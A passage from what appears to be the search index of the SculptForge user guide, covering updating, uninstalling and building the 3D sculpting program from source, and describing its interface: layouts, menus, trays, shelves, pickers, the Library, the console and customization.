sculptforge --fullscreen starts filling the screen; sculptforge --help lists every option. The next chapter, The interface, explains what everything on screen does."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"updating-and-uninstalling","h":"Updating and uninstalling","t":"SculptForge doesn't install updates by itself, but it tells you when there is one. Once a day at start-up it downloads a small file from its website that names the newest version; if yours is older, a banner at the top of the 3D view says what's new, with What's new, Download, Later and Skip this version. Nothing about you or your computer is sent. Help > Check for updates asks right away, and Edit > Preferences > Updates turns the daily check off. Builds from a package manager (such as the AUR package) leave updates to the package manager and don't check. To update, download the new release and install it over the old one. Your settings, brushes and library are kept: they live in your user folders, not next to the program (see Troubleshooting and FAQ for where). To uninstall, use your system's usual method (Settings > Apps on Windows, dragging the app to the Bin on macOS, sudo apt remove sculptforge or sudo dnf remove sculptforge on Linux, flatpak uninstall org.sculptforge.SculptForge for the Flatpak, or delete the AppImage). Delete the settings and library folders as well if you want to remove everything."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"building-from-source","h":"Building from source","t":"You need CMake 3.24 or later and a C++20 compiler: GCC 11+, Clang 14+, Xcode 15+ or Visual Studio 2022. Dear ImGui, GLM and (if it isn't installed already) SDL3 are downloaded automatically. AI features use libcurl on Linux and macOS and the built-in WinHTTP on Windows. git clone https://github.com/islandmed/SculptForge.git cd SculptForge # Linux only: compilers and X11/Wayland/GL/curl headers (Debian/Ubuntu or Fedora/RHEL) sudo ./packaging/linux/install-build-deps.sh cmake -S . -B build -DCMAKE_BUILD_TYPE=Release cmake --build build --parallel ctest --test-dir build --output-on-failure ./build/sculptforge On Windows the program is build\\Release\\sculptforge.exe; on macOS run open build/SculptForge.app. Useful CMake options: Option Default What it does SCULPTFORGE_BUILD_APP ON Build the desktop application (turn off for a headless build of sculptforge-cli only) SCULPTFORGE_BUILD_PYTHON OFF Build the Python module (import sculptforge); needs Python development headers SCULPTFORGE_BUILD_TESTS ON Build the unit and UI tests SCULPTFORGE_USE_SYSTEM_SDL ON Use an installed SDL3 if one is found Running cpack in the build folder makes the platform's packages (.deb, .rpm and .tar.gz on Linux, a .dmg on macOS, an installer and a .zip on Windows)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"see-also","h":"See also","t":"The interface Troubleshooting and FAQ SculptForge for studios"},{"p":"interface.html","c":"The interface","a":"","h":"The interface","t":"SculptForge's window has the 3D view (the canvas) in the middle, shelves of the most-used controls around it, menus along the top that hold every function, and trays at the sides where panels can stay open. It comes in two layouts: the SculptForge layout (the default), with menus by task, and the Classic layout, with a bar of alphabetical palettes. Both hold the same controls; see Looks and layouts to switch. This chapter walks through each region, the pop-up pickers, the Library, the built-in help, and how to rearrange the interface and keep your changes. The pictures show the default look and layout. The SculptForge window with its main regions labelled"},{"p":"interface.html","c":"The interface","a":"the-regions-at-a-glance","h":"The regions at a glance","t":"Region Where What it holds Menu bar Top edge The menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help; the status message; mode, brush, file name, triangles and frame rate; layout presets 1 2 3; Search Top shelf Under the menu bar Sculpt/Paint, Draw/Move/Scale/Rotate, Add/Sub, Rgb, Draw Size, Intensity, Dynamic, symmetry Left shelf Left of the canvas Brush, Stroke, Alpha and Material tiles, the colour picker, Fill Canvas Centre The 3D view, with the Sculpt Timeline along its top; strokes and navigation start only here Right shelf Right of the canvas Undo and Redo, Frame, Move, Zoom and Rotate, display toggles, Solo Right tray Far right The Tool panel: the active Part, Parts, Layers, Geometry, Masking and more Bottom shelf Below the canvas Your quick brushes Press Tab to hide the shelves and trays for a bigger canvas, and again to bring them back. The menu bar stays, so every function is still one click away. The Classic layout has a title strip and a bar of 16 alphabetical palettes instead of the menu bar, and a two-row top shelf; the rest is the same. See The title strip and Palettes."},{"p":"interface.html","c":"The interface","a":"looks-and-layouts","h":"Looks and layouts","t":"Edit > Preferences > Interface > Look sets how the interface looks and how it is laid out. Neither changes your models, brushes or shortcuts. Layout: SculptForge (the default for new installs): a status bar along the top with the task menus File, Edit, Sculpt, Paint, Mesh, View, Render and Help, the document name and scene statistics; a one-row top shelf (Sculpt/Paint, Draw, Move, Scale, Rotate, Add/Sub, Rgb, Draw Size, Intensity, Dynamic, symmetry). Every palette is a section of one menu: File (File, Script), Edit (Edit, Preferences), Sculpt (Brush, Draw & Tablet, Stroke, Alpha, Symmetry & Gizmo), Paint (Vertex Paint & Color), Mesh (Parts & Geometry, which is the Tool palette, and Generate 3D), View (Display), Render (Materials, Gaussian Splats) and Help. Pin a section to a tray as you would a palette. Brush Lab, Front and the pressure options are under Sculpt, the Library and the console under View > Display, and F3 finds everything. Classic: the alphabetical palette bar under a title strip, and a two-row top shelf (see The title strip and Top shelf). Experienced sculptor? In the welcome shown at the first start, pick the Classic layout card or Coming from: Classic sculpting keys (which also sets the keys). Switching the layout swaps the shelves for that layout's standard ones; the trays and what is in them stay. Look (the colours and style): Forge Terminal (the default): tiles with small gaps and thin borders, JetBrains Mono for labels and numbers. Colours picks the scheme: Neutral (the default since 0.10.9: pure grey panels and the orange accent, so your model's colours read true), Tokyo Night (the default in 0.10.7 and 0.10.8), Catppuccin Mocha, Gruvbox Dark, Nord, Rosé Pine, Kanagawa or Everforest. Match my desktop theme uses your Omarchy theme's colours when Omarchy is installed (Linux; the option shows only then). SculptForge never changes the theme; toggle it again after switching themes. Classic: the dark grey interface with the orange accent that SculptForge had before 0.10.7, now exactly neutral grey (red, green and blue equal in every background, panel and frame colour). Phosphor: green or amber on black, monospace, with optional scanlines and glow on the interface (never on the 3D view). Blueprint: deep blue with cyan and white line work. Outlines (Forge Terminal, Phosphor and Blueprint) sets the panels' borders: Subtle (the default: faint borders, and nothing lights up under the pointer), Off (no borders; the gaps alone separate the panels) or On (clear borders, the panel under the pointer a faint step lighter). Outline opacity (0-100%, default 100%) fades the borders further into the panels. Hovering a control only gives that control a faint fill, never a bright border. The first start shows three looks to pick from in the welcome: Neutral, Forge Terminal (Tokyo Night) and Classic layout (Classic with the palette bar). Coming from sets the keys and the layout together: Classic sculpting keys (the keys and the Classic layout), Blender, Maya or New to sculpting (their keys, the SculptForge layout). Help > Welcome shows it again. Choosing Forge Terminal, Phosphor or Blueprint also switches to the SculptForge layout; you can pick the Classic layout again right after. The look and layout are remembered for the next start without Store Config (Store Config keeps them in your UI configuration too). Updating from an older version keeps the look and layout you had. A card, SculptForge has a new look, shows once: Try it switches to Forge Terminal with the Neutral colours and the SculptForge layout; Keep my layout changes nothing. Either way, Edit > Preferences > Interface > Look changes it later. In scripts: ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge (or look=classic layout=zbrush)."},{"p":"interface.html","c":"The interface","a":"turning-ai-off","h":"Turning AI off","t":"Your art is never uploaded or used for training. AI features run only when you use them and can be turned off. Edit > Preferences > AI > Enable AI features turns off everything AI: AI Brush (Brush Lab, where you describe a brush in words) and Generate 3D (image or text to a model) leave the shelves, menus and the command palette, their commands leave scripts, sculptforge-cli and the MCP tool list, and SculptForge makes no AI network calls. The offline image tools (Relief, Inflate, Stamp) and the MCP server stay. The first-run welcome asks the same question. The choice is saved at once; turn it back on the same way, or search the command palette for \"Enable AI\". Studios can turn it off for everyone with the environment variable SF_AI=off (or start with --no-ai); the setting is then locked. See Studios."},{"p":"interface.html","c":"The interface","a":"the-menu-bar","h":"The menu bar","t":"From left to right: SculptForge and the task menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help. Click a menu to open it: its sections are listed down the left (for example Sculpt has Brush, Draw & Tablet, Stroke, Alpha and Symmetry & Gizmo) and the chosen one opens beside them. See Menus and palettes. The status message: the result of the last command or action. Errors show in red for a few seconds. Mode (SCULPT, PAINT, MOVE...), the active brush, the file name (* after it means unsaved changes), the triangle count of the scene and the frame rate. On a narrow window the least important of these are left out. 1, 2, 3: the layout presets (see Layout presets). Search (F3): opens the command palette. Minimize and Close at the far right. Close asks to save changes first, as Ctrl+Q does."},{"p":"interface.html","c":"The interface","a":"the-title-strip-classic-layout","h":"The title strip (Classic layout)","t":"In the Classic layout the top edge is a title strip instead, with the palette bar under it. From left to right: SculptForge and the document name (\"Untitled\" until you save). A * after the name means there are unsaved changes; click the name to save (Ctrl+S). Scene statistics: vertices and triangles across all Parts, the active Part and its position (\"Part Body (2/5)\"), the active sculpt layer (\"Layer Base\" when you sculpt the base mesh), the number of Gaussian splats when a capture is loaded, and the frame rate. The status message: the result of the last command or action. Errors show in red for a few seconds. Point at a long message to read all of it. Snapshot: saves a timestamped copy of the whole scene to your library without touching your project file (see Projects, autosave and snapshots). 1, 2, 3: the layout presets (see Layout presets). Menus: shows or hides the palette bar. Search (F3): opens the command palette. Minimize and Close at the far right. Close asks to save changes first, as Ctrl+Q does."},{"p":"interface.html","c":"The interface","a":"menus-and-palettes","h":"Menus and palettes","t":"Every function in SculptForge lives in one of 16 palettes. In the SculptForge layout each palette is a section of one task menu (the table below); in the Classic layout the palettes sit side by side in the palette bar. Either way, click the name and the palette drops down under it. Click another name to switch, or press Esc or click outside to close it. The Sculpt menu open on its Stroke section Menu paths in this guide name what you click in the SculptForge layout: Edit > Preferences > Input is the Edit menu, its Preferences section, then the Input sub-palette. File and Edit have a section of the same name, which paths leave out (File > Save). Paths starting with Tool are in the Tool panel in the right tray, in both layouts (it is also Mesh > Parts & Geometry). In the Classic layout, drop the menu: Edit > Preferences > Input is Input in the palette named Preferences, and Sculpt > Stroke is the palette named Stroke. In the Classic layout, the palette bar lists File and Edit first and Help last, where other desktop applications put them, and the rest in alphabetical order. If you prefer strict A to Z order, turn on Edit > Preferences > Interface > Palettes strictly A-Z (strict order). Palette In the SculptForge layout What's in it File File New Sphere, New Plane, Open, Open Recent, Save, Save As, autosave interval, Import and every export (OBJ, GLB, LOD chain, USD/USDZ, FBX for Unreal, Send to Unreal, splats), Bridge, Quit Edit Edit Undo and Redo (with the name of the step), Paste brush Alpha Sculpt > Alpha The brush alphas: Round, Square, Noise and twelve patterns (Pores, Cracks, Scales...), images from your library, Load image, Invert loaded image Brush Sculpt > Brush AI Brush (Brush Lab), Community brushes, Paste brush, your custom brushes, Front faces only, Invert (Alt), the recipe editor for a custom brush, and every brush as a thumbnail grid with a filter Color Paint The Paint brush, RGB while sculpting, the paint colour and swatches, Fill, Fill masked, Cavity, Clear, Show vertex paint Draw Sculpt > Draw & Tablet Draw Size, Intensity, RGB Intensity, Falloff, Sculpt/Paint, Add/Sub, Rgb, Front, and the tablet options (Pressure > strength, Pressure > size) with a pen readout Generate Mesh > Generate 3D Generate 3D (image or text to 3D), Relief, Inflate and Stamp from an image, and the AI brush provider settings Material Render > Materials The Lit Sphere materials (Soft Clay, the default, first), your own (Load Lit Sphere...) and Studio, Base colour, Smooth / Flat shading for the scene and the active Part Preferences Edit > Preferences Config, Interface, Input, Hotkeys, Display, Library, Tablet, Performance, Updates and Autosave sub-palettes (see Customizing the interface) Render View Wireframe, Show Mesh, Show Vertex Paint, Show Mask, Show Face Groups, Show Splats, Background, Frame, Fullscreen Script File > Script Console, Run script file, Copy session as script, Clear console Splats Render > Gaussian Splats Gaussian splat tools: show, flip, turn, fit, clean floaters, Make sculptable, sculpt to splats, save, clear Stroke Sculpt > Stroke The stroke types (Dots, Drag Stamp, Spray, Lazy Stroke) and their settings Tool Mesh > Parts & Geometry, and the right tray The active Part with Open, Save and Import, and the Part, Layers, Paint Layers, Geometry, Remesh, Deformation, Masking, Face Groups, Visibility, Export and Display sub-palettes Transform Sculpt > Symmetry & Gizmo Draw, Move, Scale and Rotate (the Gizmo with its pivot, axes, options and numeric entry), Symmetry X, Y and Z, Frame, Solo, Wire Help Help Controls, User Guide, What's New, Command palette, Website & documentation, Report a problem, Support SculptForge..., About SculptForge"},{"p":"interface.html","c":"The interface","a":"sub-palettes","h":"Sub-palettes","t":"Large palettes are divided into sub-palettes: headers you click to open or close. The Tool palette is the main example (Part, Layers, Geometry and so on). By default opening one sub-palette closes the others in the same palette, which keeps the palette short. Shift+click a header to open it without closing the others, or turn off Edit > Preferences > Interface > One sub-palette open."},{"p":"interface.html","c":"The interface","a":"trays","h":"Trays","t":"The trays are columns at the far left and far right of the window where palettes stay open while you work. The right tray is open by default and holds the Tool palette; the left tray starts closed and empty. Put a palette in a tray: open it from its menu (or the palette bar) and click the tray icon at the left of its header. It goes into the right tray; Shift+click the icon to put it in the left tray. You can also drag the icon onto a tray. Take it out again: click the tray icon in its header inside the tray. The palette returns to its menu. Collapse it in place: click its title (or the arrow at the right of the header). Find it: a palette that is in a tray shows a tray icon beside its name in its menu (in the palette bar of the Classic layout, its name in the accent colour). Clicking the name scrolls the tray to the palette and flashes its header. Open or close a tray: click its divider, the thin strip with a grip between the tray and the shelves. Drag the divider to make the tray wider or narrower (240 to 480 pixels). The Stroke palette kept in the right tray, under the Tool panel When a tray holds several palettes, Edit > Preferences > Interface > Auto collapse left tray (on by default) and Auto collapse right tray (off by default) collapse the other palettes when the one you open would not fit. When you open a Gaussian splat capture, Render > Gaussian Splats moves into the right tray by itself. Note: on a window narrower than 1280 pixels (at 100% UI scale) the right tray folds away and palettes open as drop-downs only. The left-shelf tiles get smaller and the bottom shelf scrolls sideways with the mouse wheel."},{"p":"interface.html","c":"The interface","a":"the-shelves","h":"The shelves","t":"Shelves surround the canvas and hold the controls you use all the time. Point at anything with Ctrl held to see what it does. Right-click an item for Remove from shelf; see Customizing the interface to add items."},{"p":"interface.html","c":"The interface","a":"top-shelf","h":"Top shelf","t":"Sculpt / Paint (P): brushes change the shape, or paint colour without sculpting. Draw, Move, Scale, Rotate (Q W E R): sculpt, or move, scale and rotate the Part with the Gizmo. Add / Sub: brushes add to or subtract from the surface. Holding Alt flips it for one stroke. Rgb: sculpt brushes paint the colour at the same time. Draw Size: the brush radius in screen pixels (2 to 800). Intensity: how strongly each dab changes the surface (1 to 100). While Shift is held it shows Smooth's own value. Dynamic: dynamic topology, with its Detail slider while it is on. X, Y, Z: symmetry across each axis (X toggles X); R is radial symmetry. The Classic layout's top shelf has two rows: Library (,), Sculpt/Paint, Add/Sub, Rgb, Draw Size and Intensity on the first; AI Brush, Front, symmetry, Pressure > Strength and Pressure > Size, and the ActiveTris / TotalTris count on the second. In the SculptForge layout these are in the Sculpt menu (AI Brush, Front, pressure) and View menu (Library). Draw Size and Intensity are sliders with the label inside: drag along them, or Ctrl+click to type a value."},{"p":"interface.html","c":"The interface","a":"left-shelf","h":"Left shelf","t":"Four large tiles, each showing the current choice. Click one to open its pop-up picker: Brush: the active brush, with a rendered preview. Stroke: Dots, Drag Stamp, Spray or Lazy Stroke. Alpha: the brush's stamp shape. Material: how the model is shaded in the view. Under them is the colour picker for vertex paint (a saturation/value square and a hue strip), two swatches and Fill, which fills the unmasked area with the main colour."},{"p":"interface.html","c":"The interface","a":"right-shelf","h":"Right shelf","t":"Undo and Redo (Ctrl+Z, Ctrl+Shift+Z): greyed out when there is nothing to undo or redo. A layout you customised before they were added gets them at the top. Frame (F): fits the model in the view. Move, Zoom, Rotate: drag on these buttons to pan, zoom and orbit the view. Wire (Shift+F): shows the mesh's polygons: quads as quads, triangles as triangles. Groups: colours each face group. Mask (Ctrl+H): shows or hides the mask's darkening (on by default). Hiding it keeps the mask, which still protects the surface. Paint: shows vertex paint colours (on by default). Solo: shows only the active Part (available with two or more Parts). Splats: shows or hides a Gaussian splat capture (only shown while one is loaded). Options that are on are highlighted; a filled button in the accent colour marks only the current tool or mode. See Navigating the view for the camera."},{"p":"interface.html","c":"The interface","a":"bottom-shelf","h":"Bottom shelf","t":"A row of quick brushes: Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge and Paint. The small digit in a tile's corner is its shortcut (1 to 9 and 0 select the first ten built-in brushes, P is Paint). The active brush is outlined in the accent colour. The bottom shelf of quick brushes Add a brush: click + at the end of the shelf and pick any brush, built-in or one of your own. Or right-click a brush in the brush picker and choose Add to bottom shelf. Custom brushes show a small sparkle in the corner. Remove a brush: right-click its tile and choose Remove from shelf. Bigger or smaller tiles: right-click any brush on the shelf and choose Tile size: Small, Medium (the default) or Large. The same setting is in Edit > Preferences > Interface > Shelf tiles. Small leaves the most room for the model on a laptop screen."},{"p":"interface.html","c":"The interface","a":"pop-up-pickers","h":"Pop-up pickers","t":"Pickers are pop-up grids of thumbnails. They open beside the left-shelf tile you click, or under the mouse when you use a key. They close when you pick something, press Esc or click elsewhere. Pointing at a tile for a moment shows Quick Info: a large preview and a description."},{"p":"interface.html","c":"The interface","a":"brush-picker","h":"Brush picker","t":"Press B (or click the Brush tile). The picker shows a Recent row, then Built-in, Custom (your brushes and Brush Lab creations) and Library (.sfbrush files in your library that aren't loaded yet; picking one loads it). The brush picker after pressing B and typing S Choose a brush with the keyboard: Press B. Type the first letter of the brush. Only the brushes starting with that letter stay, and each shows an orange letter: the next key that tells it apart. Press that orange letter to pick the brush. For example B S T picks Standard. Backspace takes back a letter and Enter picks the first match. If no name starts with what you typed, the picker falls back to names that contain it. The letter chips along the top (with a count for each letter) filter by a click as well. Right-click a brush for Add to bottom shelf and, for custom brushes, Copy brush code, Rename..., Save as .sfbrush..., Delete... and Reveal in folder (see Brush Lab and sharing brushes)."},{"p":"interface.html","c":"The interface","a":"stroke-alpha-and-material-pickers","h":"Stroke, Alpha and Material pickers","t":"Stroke (click the Stroke tile): Dots, Drag Stamp, Spray and Lazy Stroke, with Scatter for Spray, Steady Stroke (and its radius) and Precision Intensity. See Sculpting and brushes. Alpha (click the Alpha tile): Round, Square, Noise and the twelve built-in patterns (Pores, Cracks, Scales, Rivets, Stitches, Fabric Weave, Bark, Rock Strata, Wrinkles, Skin Folds, Hair Strands, Dot Grid), the image alpha you loaded, images in your library's Alphas folder, Load image... and Invert loaded image. Material (M, or click the Material tile): the Lit Spheres and Studio. Point at a material to preview it on the model; click to keep it. Closing the picker without clicking puts the old material back. See Vertex Paint and materials."},{"p":"interface.html","c":"The interface","a":"sliders-at-the-cursor-and-the-quick-menu","h":"Sliders at the cursor and the Quick Menu","t":"Press S for a Draw Size slider under the mouse, U for Intensity, I for RGB Intensity or O for Falloff. Drag the slider, or type a number and press Enter (Esc cancels). The pop-up closes when you release the slider. [ and ] make the brush 10% smaller or larger at any time. Space (or a right click on the canvas) opens the Quick Menu with all of them and the brush, stroke, alpha and material (see The Quick Menu)."},{"p":"interface.html","c":"The interface","a":"the-library","h":"The Library","t":"The Library is a strip of thumbnails across the top of the canvas for browsing everything you can load. Press , (comma) or click Library on the top shelf to show or hide it. It opens on its own at start-up (see Preferences). The Library on the Tool tab Tab Shows Double-click Project Projects (.sfproj) in your library and recently opened projects Open the project Tool Sphere, Plane and Cube, and model files in your library Open (replaces the scene) Brush Every brush: built-in, custom and .sfbrush files, and the VDM brushes (built-in ones too) Select or load the brush Alpha Round, Square, Noise, the twelve built-in patterns and images in your Alphas folder Use as the brush alpha Material The Lit Spheres (your own included) and Studio Use the material Image Reference images in your library A menu: Generate 3D, relief, inflate, project onto the model, use as alpha Splats Gaussian splat captures (.ply, .splat) Open the capture as a reference Snapshots The autosave and your snapshots, newest first Open it Recent Recently opened files of every kind Open it Working with the strip: Shift+double-click a model, project or primitive to append it to the scene as a new Part instead of replacing the scene. Drag sideways (or use the mouse wheel) to scroll through the strip. A drag of more than a few pixels scrubs, so a plain click still selects. Drag a tile down out of the Library onto the canvas to load it, like a double-click. Folders open with a double-click; the first tile inside a folder goes back up. The arrows at the top go back and forward through tabs and folders, and the breadcrumb shows where you are. Type in Filter to show only items whose names contain the text. Choose 1 to 4 rows of thumbnails. Open folder... adds a folder of your own to the root of every tab. On the Snapshots tab, Save now takes a snapshot. The x at the right end of the header, or Esc, closes the Library (while you type in Filter, Esc first leaves the field). The x stays on screen on small displays such as 1280x720. Right-click a tile for Open, Append as Part, the image actions, Show in file manager and Refresh thumbnail. At the root of the Tool and Image tabs is a Built-in folder (the models and images that ship with SculptForge, such as the demo lion head), and the Project, Tool, Brush, Alpha, Image and Splats tabs have a User folder, your library folder (Documents/SculptForge by default). To use a different library folder, choose it in Edit > Preferences > Library > Library folder."},{"p":"interface.html","c":"The interface","a":"ctrl-hover-help","h":"Ctrl-hover help","t":"Hold Ctrl and point at any button, slider, tile or shelf item. A box shows the item's name, its shortcut as keycaps, what it does, where it lives (for example \"Tool > Geometry\") and the script command it runs. Ctrl-hover help on the Subdivide button Hold Ctrl+Alt instead to see the scripting reference for items that run a command: the command's usage line and each parameter with its type and description. This is the same information the console, sculptforge-cli and AI agents use. Without Ctrl, icon-only buttons and labels that don't fit show their name after a short delay (Edit > Preferences > Interface > Tooltip delay). Turn Ctrl-hover help off with Edit > Preferences > Interface > Popup Info (Ctrl+hover help), and make the box more or less see-through with Popup Info opacity."},{"p":"interface.html","c":"The interface","a":"the-controls-sheet","h":"The Controls sheet","t":"Press F1 (or Help > Controls) for the Controls window. The Keyboard tab lists every action that has a shortcut, grouped by palette and generated from the actions themselves, so it always shows your current keys. The Mouse & pen tab lists the gestures. Type in the filter field to search both. Double-click a row on the Keyboard tab to give that action a new key."},{"p":"interface.html","c":"The interface","a":"this-guide","h":"This guide","t":"Help > User Guide (Shift+F1) opens this guide in its own window: the contents on the left (the open chapter lists its sections), the chapter on the right, and links between chapters. The User Guide window on the Masking chapter Search: type in the search box (Ctrl+F) to find every section that mentions all of your words. Click a result to jump there; the words are marked on the page. Esc clears it. Back and forward: the arrow buttons, Alt+Left / Alt+Right, or the back and forward buttons of your mouse. From any control: while Ctrl-hover help is showing, press F1 (keep Ctrl held) to open the chapter about that control. The help box shows which chapter it is (\"Learn more: ...\"). Code blocks have a Copy button, and Open in browser shows the same page on the SculptForge website. The guide is built into SculptForge, so it works offline and always matches your version."},{"p":"interface.html","c":"The interface","a":"the-command-palette","h":"The command palette","t":"Press F3 (or Ctrl+Shift+P, or click Search at the top right) to find any action or command by name and run it. It opens at the top centre of the canvas. The command palette searching for subdivide Type part of a name, a palette or a word from the description. The search is forgiving: letters in order are enough (\"sbdv\" finds Subdivide), and every word you type must match somewhere. Each row shows the action, its palette and its shortcut. Up and Down (or Page Up and Page Down) choose a row, Enter runs it and Esc closes the palette. With nothing typed, the palette lists the actions you used most recently. Commands with a required parameter (for example image_relief path=) open in the console with the name already typed. Other commands run with their default values; Shift+Enter sends a command with parameters to the console instead, so you can set them first. Everything scriptable is in the command palette, including commands that have no button in the interface."},{"p":"interface.html","c":"The interface","a":"the-console","h":"The console","t":"Press ` (the backtick key, left of 1 on US keyboards) to open the console, a strip between the canvas and the bottom shelf. It works: Every command you run, from a button, a key, the command palette, a script or an AI agent, appears as a script line followed by its result. Errors show in red. Type a command and press Enter: for example remesh resolution=200 or subdivide; decimate ratio=0.5. Tab completes command and parameter names, Up and Down recall earlier lines, and help (or help remesh) explains commands. Drag the console's top edge to make it taller or shorter. File > Script has Run script file..., Copy session as script (every command you ran this session, ready to replay, which makes it a macro recorder) and Clear console. The console after a few commands See Scripting and automation for the command language, scripts and headless use."},{"p":"interface.html","c":"The interface","a":"customizing-the-interface","h":"Customizing the interface","t":"Everything about the layout can change: which palettes sit in the trays, what's on each shelf, and which keys do what. Changes last until you quit unless you store them with Store Config."},{"p":"interface.html","c":"The interface","a":"move-add-and-remove-shelf-items","h":"Move, add and remove shelf items","t":"Open Edit > Preferences > Config and turn on Enable Customize. The shelves get a dashed orange outline and the status line reads \"Customize: Ctrl+Alt+drag to move or remove items\". Hold Ctrl+Alt and drag any button, slider or tile: onto a shelf to put it there (an orange line shows where it will go), which is how you add buttons from palettes to a shelf; along its shelf, or to another shelf, to move it; off the shelves (onto the canvas, for example) to remove it. Turn Enable Customize off when you're done, and press Ctrl+Shift+I to keep the result. Right-clicking a shelf item and choosing Remove from shelf works without Customize mode."},{"p":"interface.html","c":"The interface","a":"assign-shortcuts","h":"Assign shortcuts","t":"Hold Ctrl+Alt and click any button (with Customize off), then press the key you want. Esc cancels and Backspace removes the button's shortcut. Or open Edit > Preferences > Hotkeys, find the action (there's a filter), click its key button and press the new key. Keys you changed show in orange. Default shortcuts undoes every change. Or double-click a row in the Controls window (F1). If the key already belongs to another action, it moves to the new one and the status line says which action lost it."},{"p":"interface.html","c":"The interface","a":"store-config-and-friends","h":"Store Config and friends","t":"All in Edit > Preferences > Config: Item What it does Store Config (Ctrl+Shift+I) Keeps the current layout, shortcuts and interface preferences for future sessions Restore Custom UI Goes back to what the last Store Config saved Restore Standard UI Goes back to the built-in layout and default shortcuts (Store Config afterwards to make it stick) Save UI... Saves the layout, shortcuts and preferences to a .json file you can share Load UI... (Ctrl+L) Loads such a file (Store Config afterwards to keep it) The first time you change the layout in a session, the status line reminds you once: \"Layout changed - Ctrl+Shift+I to keep it\". What a session changes by itself (the console and Library being open, the Library tab) doesn't count as a layout change."},{"p":"interface.html","c":"The interface","a":"layout-presets","h":"Layout presets","t":"The 1, 2 and 3 buttons at the top right (also in Edit > Preferences > Config) switch between three arrangements of the current layout: Standard: the Tool panel in the right tray and shelves around the canvas. Sculpt: both trays closed, for the largest canvas. Wide: Brush, Stroke and Alpha in the left tray, Tool and Material in the right tray. A preset changes the layout only (the console, Library and left-handed setting stay as they are). Store Config keeps it."},{"p":"interface.html","c":"The interface","a":"interface-preferences","h":"Interface preferences","t":"Edit > Preferences > Interface: Setting Default What it does Look, Outlines and Layout Forge Terminal, Neutral, Subtle, SculptForge See Looks and layouts Language English The interface language: English or Español (see below) Popup Info (Ctrl+hover help) On Ctrl-hover help boxes Popup Info opacity 0.97 How solid the help box is Tooltip delay 0.5 s How long to point at an icon-only button before its name appears Reduce motion Off Hover and focus highlights change colour only: no easing, and tiles don't lift One sub-palette open On Opening a sub-palette closes the others in that palette Auto collapse left tray / right tray On / Off Collapse other palettes in the tray when one wouldn't fit Palettes strictly A-Z (strict order) Off Classic layout: strict alphabetical palette bar instead of File and Edit first, Help last Left-handed layout Off Mirrors the shelves and trays: tools on the right, navigation on the left UI scale Automatic Size of text and controls (100% to 200%), applied at once; Automatic follows the monitor (see below) Camera notch Automatic Keeps the interface below a laptop's camera notch in fullscreen (see below) Language changes the interface at once, without a restart; Store Config keeps it for the next start. In Español the menus, the palettes, the shelves, the Library, the command palette and the Ctrl-help titles are in Spanish, while the names of tools and brushes stay in English, as Spanish-speaking sculptors use them (Parts, Quad Remesh, Forge Spheres, Library, Lit Sphere, Clay Block, Add). The command palette finds a command by its Spanish or its English name. Anything not translated yet (most Ctrl-help descriptions, this guide) shows in English. Scripts and sculptforge-cli commands are the same in every language. UI scale also applies at once: text, buttons, shelves and trays resize on the next frame; Store Config keeps it. Automatic uses the scale of the monitor the window is on (Windows: Settings > Display > Scale; macOS and Wayland: the display's scaling; X11: the desktop's font DPI). Drag the window to a monitor at another scale, or change the system setting, and the interface follows. A chosen size (100% to 200%) stays the same on every monitor. Edit > Preferences > Cursor: Setting Default What it does Viewport cursor Crosshair The pointer over the 3D view: a crosshair, or the arrow (#73). The crosshair stays while the view turns, pans or zooms. Panels, menus and popups always show the arrow Cursor follows surface On The brush ring lies on the model: a true circle at the brush's real size, in the plane of the surface (averaged over the brush, so bumps don't bend it), with a short line along the surface's direction. Symmetry and radial copies show as dots where their dabs land. Off: a flat ring on the screen Hide ring while stroking Off While a stroke runs, only the dot where the brush touches (and the symmetry dots) shows, not the ring Edit > Preferences > Hints: Show hints in the viewport (on) and one box per hint (Strokes start off the model, Previewing an LOD, Face landmark steps). Each hint over the 3D view also has its own Don't show again; Show all hints again brings them all back. Store Config keeps them. Scrolling panels with a pen: on small screens a palette or tray that doesn't fit scrolls with the mouse wheel, and also with a left-drag on empty space in it (between and beside the controls) or a middle-drag anywhere on it, as you would scroll a list with a finger (#100). Edit > Preferences > Input sets the key Style (the first start sets it from your Coming from answer): SculptForge (the default for new installs): 1 to 9 and 0 pick the first ten brushes, I opens Intensity like U, and Ctrl+drag on the background zooms when nothing is masked; Classic: the Classic sculpting keys, with the number keys free (9 is Save Snapshot), I for RGB Intensity and Ctrl+drag on the background for a mask rectangle (see the Classic sculpting keys); Maya: Maya's view controls; or Blender: middle-drag navigation,"},{"p":"interface.html","c":"The interface","a":"the-background","h":"The background","t":"Edit > Preferences > Display (and the View menu) sets the view's Background: Gradient, the charcoal radial gradient (the default), or Flat Colour, one solid colour without the gradient. Click the Background colour swatch to pick the colour; picking one switches to Flat Colour. Store Config keeps the choice for the next session, and each project keeps the background it was saved with. From a script: set_background mode=flat, set_background color=60,70,80 or set_background mode=gradient. Edit > Preferences > Library has Show at startup (on by default), the number of Rows, Placement (along the top of the canvas, or at the bottom above the bottom shelf) and the Library folder. Edit > Preferences > Autosave sets how often a recovery copy is saved (see Projects, autosave and snapshots). Edit > Preferences with the Config and Interface sub-palettes"},{"p":"interface.html","c":"The interface","a":"fullscreen-hiding-panels-and-the-camera-notch","h":"Fullscreen, hiding panels and the camera notch","t":"F11 (or View > Fullscreen) fills the screen with SculptForge; press it again to go back to a window. sculptforge --fullscreen starts that way. SculptForge reopens the way you left it; on macOS a window closed in full screen reopens maximised instead, so the menu bar and the window buttons stay reachable (press F11 or the green button to go full screen again). In the Classic layout, Menus in the title strip hides the palette bar; click it again to bring it back. Tab hides the shelves and trays. On MacBooks with a camera notch, SculptForge keeps the interface below the notch when it fills the screen and fills the band beside the notch with the shell colour. Automatic asks macOS for the safe area (on Linux it recognises a notched MacBook display); Always reserve always keeps a band free at the top, whatever the display; Off uses the full height."},{"p":"interface.html","c":"The interface","a":"see-also","h":"See also","t":"Navigating the view Keyboard and mouse Scripting and automation Troubleshooting and FAQ"},{"p":"navigation.html","c":"Navigating the view","a":"","h":"Navigating the view","t":"This chapter explains how to rotate, pan and zoom the camera with a mouse, a pen, the right-shelf buttons or a 3Dconnexion SpaceMouse, how to frame the model, 